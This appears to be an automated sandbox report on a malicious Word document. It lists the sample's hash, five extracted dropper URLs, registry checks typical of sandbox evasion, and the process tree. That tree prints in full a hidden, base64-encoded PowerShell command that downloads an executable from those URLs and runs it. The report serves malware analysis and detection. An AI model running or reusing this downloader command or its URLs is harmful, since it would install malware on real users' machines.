Analysis
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max time kernel
22s -
resource
win10v191014 -
submitted
16-12-2019 10:31
General
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Target
5c689daa5debe72cfde90eddc808f6529c759cb05c8ad2223f62ddf2129df68a.doc
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Sample
191216-hfx5vqz9f6
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SHA256
5c689daa5debe72cfde90eddc808f6529c759cb05c8ad2223f62ddf2129df68a
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://funtclan.com/wp-admin/mDi/
exe.dropper
http://gindnetsoft.com/o/KZB8m/
exe.dropper
http://webyappagencia.com/cgi-bin/iGyDB/
exe.dropper
https://engineeringchristculture.com/cgi-bin/ronjnv/
exe.dropper
https://casasdaclea.com/wp-content/P/
Signatures
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Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4948 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4308 wrote to memory of 4028 4308 SppExtComObj.exe 76 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4660 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4948 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4948 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4660 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c689daa5debe72cfde90eddc808f6529c759cb05c8ad2223f62ddf2129df68a.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4948
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4028
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABGAGIAdwBzAGIAcQB2AGoAYgBvAHQAYgA9ACcAWABpAHoAeQB5AGcAagBxAGoAaAAnADsAJABaAGcAdwBmAG4AZwBuAGwAcgBxACAAPQAgACcANQAzADkAJwA7ACQATwB3AHEAZwBwAGUAZQBmAD0AJwBWAGMAZgBoAHMAawBsAG0AdQBsAGQAagAnADsAJABCAHcAawBjAHMAbgBkAHcAZAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWgBnAHcAZgBuAGcAbgBsAHIAcQArACcALgBlAHgAZQAnADsAJABTAHIAcQBoAG8AcwBvAGUAZQBuAD0AJwBMAGgAZQB3AHAAZQB3AG0AZAB3ACcAOwAkAEsAawBjAGUAaQBxAHQAZABsAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAEMATABJAGUATgB0ADsAJABRAHUAegBhAG4AYwB2AGoAPQAnAGgAdAB0AHAAOgAvAC8AZgB1AG4AdABjAGwAYQBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBtAEQAaQAvACoAaAB0AHQAcAA6AC8ALwBnAGkAbgBkAG4AZQB0AHMAbwBmAHQALgBjAG8AbQAvAG8ALwBLAFoAQgA4AG0ALwAqAGgAdAB0AHAAOgAvAC8AdwBlAGIAeQBhAHAAcABhAGcAZQBuAGMAaQBhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaQBHAHkARABCAC8AKgBoAHQAdABwAHMAOgAvAC8AZQBuAGcAaQBuAGUAZQByAGkAbgBnAGMAaAByAGkAcwB0AGMAdQBsAHQAdQByAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwByAG8AbgBqAG4AdgAvACoAaAB0AHQAcABzADoALwAvAGMAYQBzAGEAcwBkAGEAYwBsAGUAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFAALwAnAC4AIgBTAGAAUABMAEkAdAAiACgAJwAqACcAKQA7ACQAUQBnAHgAdgB0AG0AegBmAHIAZQBuAHkAbwA9ACcASQBnAHIAeQBzAGEAZgB5AGUAaQB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABKAG4AawBjAHIAdQBrAGMAIABpAG4AIAAkAFEAdQB6AGEAbgBjAHYAagApAHsAdAByAHkAewAkAEsAawBjAGUAaQBxAHQAZABsAC4AIgBEAG8AYAB3AE4ATABPAGEARABmAGAAaQBMAEUAIgAoACQASgBuAGsAYwByAHUAawBjACwAIAAkAEIAdwBrAGMAcwBuAGQAdwBkACkAOwAkAE0AcwBpAHcAeAByAHEAaQB1AHQAbABzAG4APQAnAEcAdQBmAGkAcwBuAG8AZgBtAHkAYgB4ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAQgB3AGsAYwBzAG4AZAB3AGQAKQAuACIAbABFAG4AYABnAGAAVABIACIAIAAtAGcAZQAgADIAOAA1ADcANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAdAAiACgAJABCAHcAawBjAHMAbgBkAHcAZAApADsAJABOAHUAcQBhAHMAegB2AHEAYQB3AGcAaQA9ACcARwBnAGUAeQBrAHIAagBjAHAAZAAnADsAYgByAGUAYQBrADsAJABNAHcAeQB3AHUAZgBiAGEAZwBxAGIAbQBqAD0AJwBEAGYAbABtAGYAegBzAGYAcwB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAawBrAGYAbQBvAHQAbQA9ACcARQBjAGEAaABuAGcAcABlAHMAcABvAGcAJwA=1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4660